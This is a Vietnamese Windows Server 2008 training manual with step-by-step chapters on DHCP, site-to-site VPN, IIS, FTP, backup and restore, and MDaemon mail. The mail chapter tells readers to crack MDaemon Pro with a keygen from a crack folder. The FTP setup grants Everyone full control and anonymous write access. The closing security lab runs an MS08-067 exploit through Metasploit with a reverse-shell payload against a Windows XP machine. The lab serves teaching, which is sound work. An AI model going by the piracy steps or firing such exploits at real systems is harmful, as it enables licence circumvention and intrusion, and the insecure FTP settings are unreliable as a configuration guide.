  • 54. 42 Hình 3.12 II. GIỚI THIỆU DỊCH VỤ DHCP  Dịch vụ DHCP cho phép chúng ta cấp động các thông số cấu hình mạng cho các máy trạm.(client).  Cơ chế sử dụng các thông số mạng được cấp phát động có ưu điểm hơn so với cơ chế khai báo tĩnh các thông số mạng như:  Khắc phục được tình trạng đụng địa chỉ IP và giảm chi phí quản trị cho hệ thống mạng.Giúp cho các nhà cung cấp dịch vụ (ISP) tiết kiệm được số lượng địa chỉ IP thật (Public IP).Phù hợp cho các máy tính thường xuyên di chuyển qua lại giữa các mạng.Kết hợp với hệ thống mạng không dây (Wireless) cung cấp các điểm Hotspot như: nhà ga, sân bay, trường học… 1. Hoạt động của giao thức Giao thức DHCP làm việc theo mô hình client/server.Khi máy client khởi động, máy sẽ gửi broadcast gói tin DHCPDISCOVER, yêu cầu một server phục vụ mình. Gói tin này cũng chứa địa chỉ MAC của máy client.Các máy Server trên mạng khi nhận được gói tin yêu cầu đó, nếu còn khả năng cung cấp địa chỉ IP, đều gửi lại cho máy Client gói tin DHCPOFFER, đề nghị cho thuê một địa chỉ IP trong một khoản thời gian nhất định, kèm theo là một subnet mask và địa chỉ của Server. 2. Cài đặt trên windows server 2008 - Vào Server Manger  Roles Add Roles.
  • 55. 43 Hình 2.1 Nhấn Nexttrong mục Roles chọn “DHCP Server”. Nhấn Next. Hình 2.2 Trong bảng này giới thiệu về DHCP và các điểm cần lưu ý Things to Note. Tiếp tục nhấn Next. Chọn card mạng sử dụng dịch vụ này ở đây chúng ta chỉ có một card mạng nên tiếp tục nhấn Next nhấn Next.
  • 56. 44 Hình 2.3 - Trong mục “Parent Domain” điền tên domain và điền IP DNS server ở mục “Preferred DNS…” và nhấn Validate để kiểm tra và xác nhận tồn tại và tiếp tục nhấn Next. Hình 2.4 - Ta chọn next.
  • 57. 45 Hình 2.5 Tiếp tục bấm Next. Trong Bảng Configure DHCPv6 Stateless Mode ta chọn Disable DHCPv6 stateless mode for this server và bấm Next Hình 2.6 Xác nhận lại thông tin trước khi cài đặt dịch vụ DHCP. Bấm Install để cài đặt
  • 58. 46 Hình 2.7 - Cài đặt Role hoàn tất, và nhấn Close 3. Cấu hình DHCP 3.1. Tạo Scop Vào Administrative ToolsDHCP->Nhấn chuột phải vào IPv4 và New Scope ->Hộp thoại New Scope hiện ra và Next.
  • 59. 47 Hình 3.1.1 Hộp thoại Scope Name vàĐiền tên của scope vào mục Name và nhấn Next Hình 3.1.2 Hộp thoại IP Address Range,điền thông số range IP cấp phát và subnet mask Next.
  • 60. 48 Hình 3.1.3 Hộp thoại Lease Duration: thời gian thuê địa chỉ IP mặc định là 8 ngày-> Next Hình 3.1.4 - Hộp thoại Configuration DHCP Options yêu cầu chúng ta cấu hình thông số dịch vụ của scope ngay bây giờ hoặc để sau. Ở đây ta chọn No, I will configure these option later và nhấn Next.
  • 61. 49 Hình 3.1.5 Bấm Fisnish để kết thúc 3.2 Thay đổi options của Scope - Xổ scope cần thao tác và chuột phải scope optionsConfigure Options. - Hộp thoại Scope Options hiện ra, ở trường Available Options là những thuộc tính sẵn sàng mà chúng ta có thể thay đổi với những thuộc tính đã stick là những thuộc tính đã được cấu hìnhtrước đó. - Chúng ta sẽ thử cấu hình default gateway lại cho scope này, chọn Router. Router Options hiện ta cho chúng ta thêm xóa và edit với những thuộc tính khác cũng vậy
  • 62. 50 Hình 3.1.6 Kiểm tra bằng cách vào win xp và để ip tự cấp .
  • 63. 51 CHƯƠNG 8: TRIỂN KHAI VPN I. Tìm hiểu VPN Giải pháp VPN (Virtual Private Network) được thiết kế cho những tổ chức có xu hướng tăng cường thông tin từ xa vì địa bàn hoạt động rộng (trên toàn quốc hay toàn cầu). Tài nguyên ở trung tâm có thể kết nối đến từ nhiều nguồn nên tiết kiệm được được chi phí và thời gian Một mạng VPN điển hình bao gồm mạng LAN chính tại trụ sở (Văn phòng chính), các mạng LAN khác tại những văn phòng từ xa, các điểm kết nối (như 'Văn phòng' tại gia) hoặc người sử dụng (Nhân viên di động) truy cập đến từ bên ngoài. 1. Khái niệm. Mạng riêng ảo hay VPN (Virtual Private Network) là một mạng dành riêng để kết nối các máy tính lại với nhau thông qua mạng Internet công cộng. Những máy tính tham gia mạng riêng ảo sẽ "nhìn thấy nhau" như trong một mạng nội bộ - LAN (Local Area Network). Internet là một môi trường công cộng, việc chia sẻ dữ liệu có tính riêng tư thông qua Internet là cực kỳ nguy hiểm vì những dữ liệu đó có thể dễ dàng bị rò rỉ, bị ăn cắp... Mạng riêng ảo là giao thức trợ giúp việc kết nối các máy tính lại với nhau thông qua một kênh truyền dẫn dữ liệu (tunel) riêng đã được mã hóa. Mạng riêng ảo giúp bảo vệ dữ liệu trong khi chúng được truyền trên Internet vì vậy mạng riêng ảo thường được ứng dụng trong các trường hợp sau: Làm việc từ xa: Truy cập từ xa thông qua Internet vào mạng của công ty để chia sẻ dữ liệu cũng như thực thi các ứng dụng nội bộ. Kết nối nhiều mạng với nhau (Site-to-Site): Nếu công ty có nhiều văn phòng, việc kết nối các mạng lại với nhau thành một mạng thống nhất sẽ đem lại hiệu quả ấn tượng trong việc quản lý & chia sẻ thông tin. Tạo phiên làm việc an toàn: Mạng riêng ảo là giải pháp tốt & với chi phí thấp cho một số công việc đòi hỏi tính bảo mật cao như quản trị máy chủ, website, cơ sở dữ liệu... Nếu thường xuyên làm việc trên Internet & thông tin là tài sản vô giá, bạn nên ứng dụng mạng riêng ảo vào công việc của mình. 2. Các loại VPN. Có hai loại phổ biến hiện nay là VPN truy cập từ xa (Remote-Access ) và VPN điểm-nối-điểm (site-to-site)
  • 64. 52 VPN truy cập từ xa còn được gọi là mạng Dial-up riêng ảo (VPDN), là một kết nối người dùng-đến-LAN, thường là nhu cầu của một tổ chức có nhiều nhân viên cần liên hệ với mạng riêng của mình từ rất nhiều địa điểm ở xa. Ví dụ như công ty muốn thiết lập một VPN lớn phải cần đến một nhà cung cấp dịch vụ doanh nghiệp (ESP). ESP này tạo ra một máy chủ truy cập mạng (NAS) và cung cấp cho những người sử dụng từ xa một phần mềm máy khách cho máy tính của họ. Sau đó, người sử dụng có thể gọi một số miễn phí để liên hệ với NAS và dùng phần mềm VPN máy khách để truy cập vào mạng riêng của công ty. Loại VPN này cho phép các kết nối an toàn, có mật mã. Hình minh họa cho thấy kết nối giữa Văn phòng chính và "Văn phòng" tại gia hoặc nhân viên di động là loại VPN truy cập từ xa). VPN điểm-nối-điểm là việc sử dụng mật mã dành cho nhiều người để kết nối nhiều điểm cố định với nhau thông qua một mạng công cộng như Internet. Loại này có thể dựa trên Intranet hoặc Extranet. Loại dựa trên Intranet: Nếu một công ty có vài địa điểm từ xa muốn tham gia vào một mạng riêng duy nhất, họ có thể tạo ra một VPN intranet (VPN nội bộ) để nối LAN với LAN. Loại dựa trên Extranet: Khi một công ty có mối quan hệ mật thiết với một công ty khác (ví dụ như đối tác cung cấp, khách hàng...), họ có thể xây dựng một VPN extranet (VPN mở rộng) kết nối LAN với LAN để nhiều tổ chức khác nhau có thể làm việc trên một môi trường chung. Trong hình minh họa trên, kết nối giữa Văn phòng chính và Văn phòng từ xa là loại VPN Intranet, kết nối giữa Văn phòng chính với Đối tác kinh doanh là VPN Extranet. 3.Bảo mật trong VPN Tường lửa (firewall) là rào chắn vững chắc giữa mạng riêng và Internet. Bạn có thể thiết lập các tường lửa để hạn chế số lượng cổng mở, loại gói tin và giao thức được chuyển qua. Một số sản phẩm dùng cho VPN như router 1700 của Cisco có thể nâng cấp để gộp những tính năng của tường lửa bằng cách chạy hệ điều hành Internet Cisco IOS thích hợp. Tốt nhất là hãy cài tường lửa thật tốt trước khi thiết lập VPN. Mật mã truy cập là khi một máy tính mã hóa dữ liệu và gửi nó tới một máy tính khác thì chỉ có máy đó mới giải mã được. Có hai loại là mật mã riêng và mật mã chung. Mật mã riêng (Symmetric-Key Encryption): Mỗi máy tính đều có một mã bí mật để mã hóa gói tin trước khi gửi tới máy tính khác trong mạng. Mã riêng yêu cầu bạn phải biết mình đang liên hệ với những máy tính nào để có thể cài mã lên đó, để máy tính của người nhận có thể giải mã được.
  • 65. 53 Mật mã chung (Public-Key Encryption) kết hợp mã riêng và một mã công cộng. Mã riêng này chỉ có máy của bạn nhận biết, còn mã chung thì do máy của bạn cấp cho bất kỳ máy nào muốn liên hệ (một cách an toàn) với nó. Để giải mã một message, máy tính phải dùng mã chung được máy tính nguồn cung cấp, đồng thời cần đến mã riêng của nó nữa. Có một ứng dụng loại này được dùng rất phổ biến là Pretty Good Privacy (PGP), cho phép bạn mã hóa hầu như bất cứ thứ gì. Giao thức bảo mật giao thức Internet (IPSec) cung cấp những tính năng an ninh cao cấp như các thuật toán mã hóa tốt hơn, quá trình thẩm định quyền đăng nhập toàn diện hơn. IPSec có hai cơ chế mã hóa là Tunnel và Transport. Tunnel mã hóa tiêu đề (header) và kích thước của mỗi gói tin còn Transport chỉ mã hóa kích thước. Chỉ những hệ thống nào hỗ trợ IPSec mới có thể tận dụng được giao thức này. Ngoài ra, tất cả các thiết bị phải sử dụng một mã khóa chung và các tường lửa trên mỗi hệ thống phải có các thiết lập bảo mật giống nhau. IPSec có thể mã hóa dữ liệu giữa nhiều thiết bị khác nhau như router với router, firewall với router, PC với router, PC với máy chủ. Máy chủ AAA là viết tắt của ba chữ Authentication (thẩm định quyền truy cập), Authorization (cho phép) và Accounting (kiểm soát). Các server này được dùng để đảm bảo truy cập an toàn hơn. Khi yêu cầu thiết lập một kết nối được gửi tới từ máy khách, nó sẽ phải qua máy chủ AAA để kiểm tra. Các thông tin về những hoạt động của người sử dụng là hết sức cần thiết để theo dõi vì mục đích an toàn. 4.Sản phẩm công nghệ dành cho VPN Tùy vào loại VPN (truy cập từ xa hay điểm-nối-điểm), bạn sẽ cần phải cài đặt những bộ phận hợp thành nào đó để thiết lập mạng riêng ảo. Đó có thể là: - Phần mềm cho desktop của máy khách dành cho người sử dụng từ xa. - Phần cứng cao cấp như bộ xử lý trung tâm VPN hoặc firewall bảo mật PIX. - Server VPN cao cấp dành cho dịch vụ Dial-up. - NAS (máy chủ truy cập mạng) do nhà cung cấp sử dụng để phục vụ người sử dụng từ xa. - Mạng VPN và trung tâm quản lý.
  • 66. 54 5. Bộ xử lý trung tâm VPN Có nhiều loại máy xử lý VPN của các hãng khác nhau, nhưng sản phẩm của Cisco tỏ ra vượt trội ở một số tính năng. Tích hợp các kỹ thuật mã hóa và thẩm định quyền truy cập cao cấp nhất hiện nay, máy xử lý VPN được thiết kế chuyên biệt cho loại mạng này. Chúng chứa các module xử lý mã hóa SEP, cho phép người sử dụng dễ dàng tăng dung lượng và số lượng gói tin truyền tải. Dòng sản phẩm có các model thích hợp cho các mô hình doanh nghiệp từ nhỏ đến lớn (từ100 cho đến 10.000 điểm kết nối từ xa truy cập cùng lúc). 6. Router dùng cho VPN Thiết bị này cung cấp các tính năng truyền dẫn, bảo mật. Dựa trên hệ điều hành Internet IOS của mình, hãng Cisco phát triển loại router thích hợp cho mọi trường hợp, từ truy cập nhà-tới-văn phòng cho đến nhu cầu của các doanh nghiệp quy mô lớn. 7. Tường lửa PIX của Cisco Firewall trao đổi Internet riêng (Private Internet Exchange) bao gồm một cơ chế dịch địa chỉ mạng rất mạnh, máy chủ proxy, bộ lọc gói tin, các tính năng VPN và chặn truy cập bất hợp pháp. Thay vì dùng IOS, thiết bị này có hệ điều hành với khả năng tổ chức cao, xoay sở được với nhiều giao thức, hoạt động rất mạnh bằng cách tập trung vào IP. II.VPN SITE TO SITE 1. chuẩn bị: - 2 windows server 2008 -2 windows XP + máy XP1 windows XP co ip 10.0.0.2 máy này sẻ ping thông với server1 là windows server 2008 có địa chỉ ip là 10.0.0.1. + máy XP2 windows XP co ip 172.16.1.2 máy này sẻ ping thông với server2 là windows server 2008 có địa chỉ ip là 172.16.1.1. 2. Đặt IP cho 4 máy Card Lan Card Cross Server 1 10.0.0.1/24 192.168.1.1/24 Server 2 172.16.1.1/24 192.168.1.2/24 XP1 10.0.0.2/24
  • 67. 55 XP2 172.16.1.2/24 Tạo user saigon trên máy server 1. Tạo user hanoi trên máy server 2 3. Tiến hành cấu hình trên 2 server. Chọn properties ->chọn tab dial – in -> check chọn allow access Hình 3.1 Hình 3.2
  • 68. 56 Trên máy server1 Vào server manager ->add roles Hình 3.3 Chọn network policy and access services -> next Hình 3.4
  • 69. 57 Chọn routing and remote access services -> next-> install Hình 3.5 Như vậy là đã cài xong giờ đi cấu hình
  • 70. 58 Hình 3.6 Vào start -> administrative ->routing and remote access ->Chọn server -> click phải configure Hình 3.7 Chọn Custom configuration -> next
  • 71. 59 Hình 3.8 Chọn VPN access + Demand – dial connections + Lan routing -> next Hình 3.9 Chọn start service
  • 72. 60 Hình 3.10 Chọn tab Network interface -> click phải chọn new demand-dial interface Hình 3.11 Nhập interface name : saigon -> next
  • 73. 61 Hình 3.12 Check connect using vitual private networking (VPN) ->next Hình 3.13 Check chọn point to point -> next
  • 74. 62 Hình 3.14 Nhập địa chỉ ip card CROSS của máy server2 -> next Hình 3.15 Check chọn route ip + adda user account
  • 75. 63 Hình 3.16 Add static route 172.16.2.0 (đường mạng LAN của máy server2) -> next Hình 3.17 Nhập password của user saigon mình đã tạo ban đầu -> next
  • 76. 64 Hình 3.18 Nhập user name :hanoi .Password của user hanoi mình đã tạo ban đầu -> next Hình 3.19 Chọn properties server
  • 77. 65 Hình 3.20 Chọn tab IPv4 và add vào chuỗi địa chỉ ip sẽ nhận khi connect vào Hình 3.20 Apply + OK
  • 78. 66 Hình 3.21 Sau đó ta cấu hình cho server 2 tương tự như server 1 user là hanoi Hình 3.22 Khi 2 server cấu hình xong thì ta
  • 79. 67 Click phải network interface saigon ở server1 -> chọn connect Hình 3.22 Click phải network interface hanoi ở server2 -> chọn connect hình 3.23 4. Kiểm tra. Lúc này từ PC1 sẻ ping thông qua PC4.
  • 80. 68 Hình 3.24 V. IIS 7.0: 1. Giới thiệuvề IIS: IIS là viết tắt của từ (Internet Information Services ), được đính kèm với các phiên bản của Windows. IIS chính là các dịch vụ dành cho máy chủ chạy trên nền hệ
  • 81. 69 điều hành Window nhằm cung cấp và phân tán các thông tin lên mạng, nó bao gồm nhiều dịch vụ khác nhau như Web Server, FTP Server… 2. Những điểm mới trên IIS 7.0: Hầu hết mọi thứ trong IIS 7.0 đều là mới. Microsoft đã tập trung vào việc modul hóa khi xây dựng IIS 7.0, điều đó đã giảm thiểu được bề mặt tấn công của web server. Một ví dụ cho vấn đề này: Nếu bạn cần một FTP Server hoặc tính năng Cache trong IIS thì phải cài đặt các FTP Server hoặc Cache để quản lý và kích hoạt hành động lưu trữ (cache) hoặc FTP Server. Windows Server 2008 sẽ gồm có tất cả các tính năng cần thiết của IIS hỗ trợ cho việc cấu hình Web trong các môi trường sản xuất. Windows Vista chỉ có một số tính năng của IIS và các tính năng này phụ thuộc vào phiên bản Windows Vista. IIS 7.0 trong Windows Vista là một cách xử lý cho việc xây dựng và kiểm tra các ứng dụng web của bạn. Các modul được bổ sung và tính năng thêm vào sẽ được cung cấp từ Microsoft hoặc bạn có thể tự viết mã, thậm chí có thể mua từ một hãng phần mềm thứ ba nào đó. 3. Cài đặt IIS: - Click server Manager-> add role. Trong của sổ Before you begin ta để mặc định rồi chọn Next. Hình 3.1 - Trong cửa sổ Select Server Roles check Web Server (IIS)
  • 82. 70 Hinh 3.2 - Sau đó ta tiếp tục để mặc định -> Next Hình 3.3 - Click install
  • 83. 71 Hình 3.4 - Chọn Close. Hình 3.5
  • 84. 72 4. Cấu hình IIS: - Clich Server Manager -> Configure IE ESC-> off-> OK. Hình 4.1 - Vào ổ C-> inetpub->wwwrot-> tạo file txt trangchu.htm và ghi nội dung. Hình 4.2
  • 85. 73 - Vào Start-> Administrative Tools-> Internet Information Services ( IIS) Manager Hình 4.3 - Click chuột phải vào Sites chọn New Site và cấu hình. Hình 4.4
  • 86. 74 - Ta Click chuột phải vào Default Web Site chọn Stop. Hình 4.5 - Trong server chọn Default Document và add trangchu.htm vào. Hình 4.6 - Ta kiểm tra bằng cách vào IE gõ 192.168.1.1
  • 87. 75 Hình 4.7 - Ta vào DNS tạo thêm new Alias để có thể truy cập web bằng tên miền. Hình 4.8 - Ta vào IE trỏ đường dẫn http://www.ethena.edu.vn VI. FTP: 1. FTP là gì? FTP là chữ viết tắt của File Transfer Protocol (Giao thức chuyển nhượng tập tin), đây là một giao thức giúp bạn dễ dàng trao đổi các dữ liệu giữa máy tính của bạn với host và ngược lại. Tại FTP, bạn sẽ có quyền quản lý toàn bộ các dữ liệu dạng tập tin và thư mục có trên host ngoại trừ database. Tất cả các gói host bạn mua có hỗ trợ control panel cPanel, DirectAdmin,…đều hỗ trợ sẵn FTP qua cổng kết nối 21. 2. Cài đặt FTP: Đầu tiên ta vào Server Manager chọn add roles-> Next -> Chọn Web Server(IIS)-> Next
  • 88. 76 Hình 2.1 Ở cửa sổ Select Role Services ta chọn FTP Server -> Next Hình 2.2 Chọn Install để bắt đầu quá trình cài đặt.
  • 89. 77 Hình 2.3 Chọn Close để hoàn tất quá trình cài đặt. Hình 2.4
  • 90. 78 3. Cấu hình FTP: Đầu tiên ta vào ổ C tạo thư mục FTP và các file để share Hình 3.1 Ta cấp quyền cho thư mục FTP share full control cho everyone Hình 3.2
  • 91. 79 Ta vào Start -> Administrative Tools -> Internet Information Services (IIS) Manager. Hình 3.3 Click chuột phải vào SERVER chọn Add FTP Site.. Hình 3.4
  • 92. 80 Ta đặt Site name cho FTP và trỏ đường dẫn đến thư mục FTP vừa tạo trong ổ C. Hình 3.5 Ta chọn IP address và No SSL -> Next. Hình 3.6
  • 93. 81 Ta check vào Anonymous , Basic, Read, Write và chọn all users -> Finish. Hình 3.7 Sau đó ta Stop trang web Default và restart lại trang Athena. Hình 3.8 Kiểm tra bằng cách ta vào IE và gõ FTP:/192.168.1.1 Hình 3.9
  • 94. 82 CHƯƠNG 8: BACKUP & RESTORE 1. Cài đặt: Vào Server Manager ->Featires -> Add Features -> bung Windows Server Backup Features-> Check Windows Server Backup-> Next. Hình 1.1 Trong cửa sổ Confirm Installation Selections ta chọn Install.
  • 95. 83 Hình 1.2 Sau khi cài đặt hoàn tất ta đóng cửa sổ lại. Hình 1.3 2. Back up: Vào Start -> Administrative Tools-> Windows Server Backup.
  • 96. 84 Hình 2.1 Vào Action -> chọn Backup Once… Cửa sổ Backup options, chọn Different options-> Next. Hình 2.2 Chọn Full Server-> Next.
  • 97. 85 Hình 2.3 Tại Backup destination chọn ổ đĩa lưu file backup ở đây mình chọn ổ E -> Next. Hình 2.4 Chọn backup để bắt đầu.
  • 98. 86 Hình 2.5 Ta chờ đợi backup..
  • 99. 87 Hình 2.6 Sau khi backup hoàn tất ta vào ổ đĩa E sẽ thấy file backup được tạo. Hình 2.7
  • 100. 88 3. Restore: Đầu tiên ta vào ổ C xoá thư mục FTP (Giả sử server mất dữ liệu). Hình 3.1 Vào Start -> Administrative Tools -> WindowsServerBackup-> Chọn Action-> Recovery-> chọn this server -> Next. Hình 3.2
  • 101. 89 Next. Hình 3.3 Chọn dữ liệu mình muồn restore lại -> next Hình 3.4
  • 102. 90 Click recover để bắt đầu Hình 3.5 Sau khi recover hoàn tất ta vào ổ C kiểm tra thấy thư mục FTP đã được khôi phục. Hình 3.6
  • 103. 91 CHƯƠNG 9: MAIL TRÊN VPS. I. Cài đặt MDmoon v10. Các bước cài đặt đã hướng dẫn trên localhost. II. Cấu hình MDmoon v10. 1.Đăng ký Domain Hình1.1 Ta truy cập vào dot.tk để đăng ký domain Sau khi chọn xong domain ta click GO.Click vào sử dụng DNS, chọn tab Dịch Vụ DNS của Dot.tk, nhập IP của VPS vào 2 hàng địa chỉ Ip Sau đó chọn thời gian duy trì domain Hình 1.2
  • 104. 92 Nhập ký tự để xác nhận là người sử dụng chứ không phải robot, rồi click : ĐĂNG Ký Hình 1.3 Lựa chọn tài khoản quản lý tên miền:
  • 105. 93 Hình 1.4 Click “Đăng nhập vào My Dot” để tùy chỉnh các thông số cho domain Hình 1.5 Sau khi đăng nhập vào my.dot.tk. Ta click vào Go to domain hoặc Domain panel để vào danh sách các domain đã đăng ký. Lựa chọn domain cần đăng lý sau đó click Modify: Cuối cùng là Save Changes.
  • 106. 94 2.Mail Server Mdaemon Định Nghĩa: Mail Server là một máy chủ cung cấp dịch vụ viết gửi và nhận thư trên internet. Để tạo 1 mail server thì có nhiều phần mềm , nhưng nổi tiếng nhất đó là Mdaemon. Các bước chuẩn bị: 1VPS làm Mail Server Phần mềm Mdaemon bản pro 1 Domain đã add record (MX record). Tiến hành: Trên máy VPS ta cài Mdaemon và crack thành bản pro (vì bản pro mới cho phép gởi và nhận mail từ các dịch vụ mail khác, con bản free chỉ cho gởi mail nội bộ) Cách cài Mdaemon Pro: Ta chạy file setup MDv10.exe Hình 2.1 Điền Lience name : hoang(tùy chọn) Company name: Tên Công Ty Registration Key: Ta lấy trong keygen ở thư mục crack
  • 107. 95 Hình 2.2 Hình 2.3 Copy dãy chữ số này paste vào Registration Key Sau khi paste key vào ta click Next.Lưu ý không check vào Install the Limited.Đợi quá trình cài đặt hoàn tất Hình 2.4
  • 108. 96 Điền domain (mà ta đã đang ký ở dot.tk lúc nãy vào) Domain name Hình 2.5 Điền vào tên và địa chỉ mail cũng như mật khẩu cho tài khoảng admin Hình 2.6 Điền vào IP của VPS :
  • 109. 97 Hình 2.7 Click Next Hình 2.8 Click finish để hoàn tất quá trình cài đặt.
  • 110. 98 Hình 2.9 Ta khỏi động Mdaemon lên rồi tạo User mail Hình 2.10 Để bỏ giới hạn password->account->account setting>bỏ check requite strong pw
  • 111. 99 Hình 2.11 Ta vào Account>>New Account để tạo users Hình 2.12
  • 112. 100 Ta tạo User tk1: Hình 2.13 User tk2: Hình 2.14
  • 113. 101 Xem cấu hình các tài khoản:vào account>edit account Hình 2.15 Test Trong IE gõ địa chỉ http://192.168.1.1:3000 Hình 2.16
  • 114. 102 Đăng nhập tài khoản tk1 Hình 2.17 Trên mail server ta dùng tài khoản tk1 gửi mail cho tài khoản tk2. Hình 2.18
  • 115. 103 Đăng xuất và đăng nhập tương tự vào tài khoản tk2 Hình 2.20 Ta sẽ thấy được tin nhắn từ tài khoản tk1 Kết thúc mail mdeamon.
  • 116. 104 CHƯƠNG 10: BẢO MẬT WINDOWS. I.Khai thác lỗ hổng trên Windows XP với mã lỗi MS08_067 Chuẩn bị 2 máy ảo: Windows XP (nạn nhân) và máy Back Track 5r3 (máy tấn công nạn nhân) Trên máy Back Track cấu hình địa chỉ IP trong bài lab này cho máy là: 192.168.154.128 Các bước thực hiện: Kiểm tra mạng giữa XP và máy Back Track 5r3: Máy Back Track 5r3: Máy Xp: Kiểm tra thông mạng:
  • 117. 105 Trên máy Back track ta gõ đường dẫn: cd /pentest/exploits/framework Ta tiếp tục gõ lệnh: ./msfcli windows/smb/ms08_067_netapi RHOST=192.168.154.129 LHOST=192.168.154.128 PAYLOAD=windows/shell/reverse_tcp
  • 118. 106 Trong đó RHOST là IP máy Xp, LHOST là IP máy Back track 5r3. Sau đó, ta chờ cho máy Back track 5r3 tấn công Xp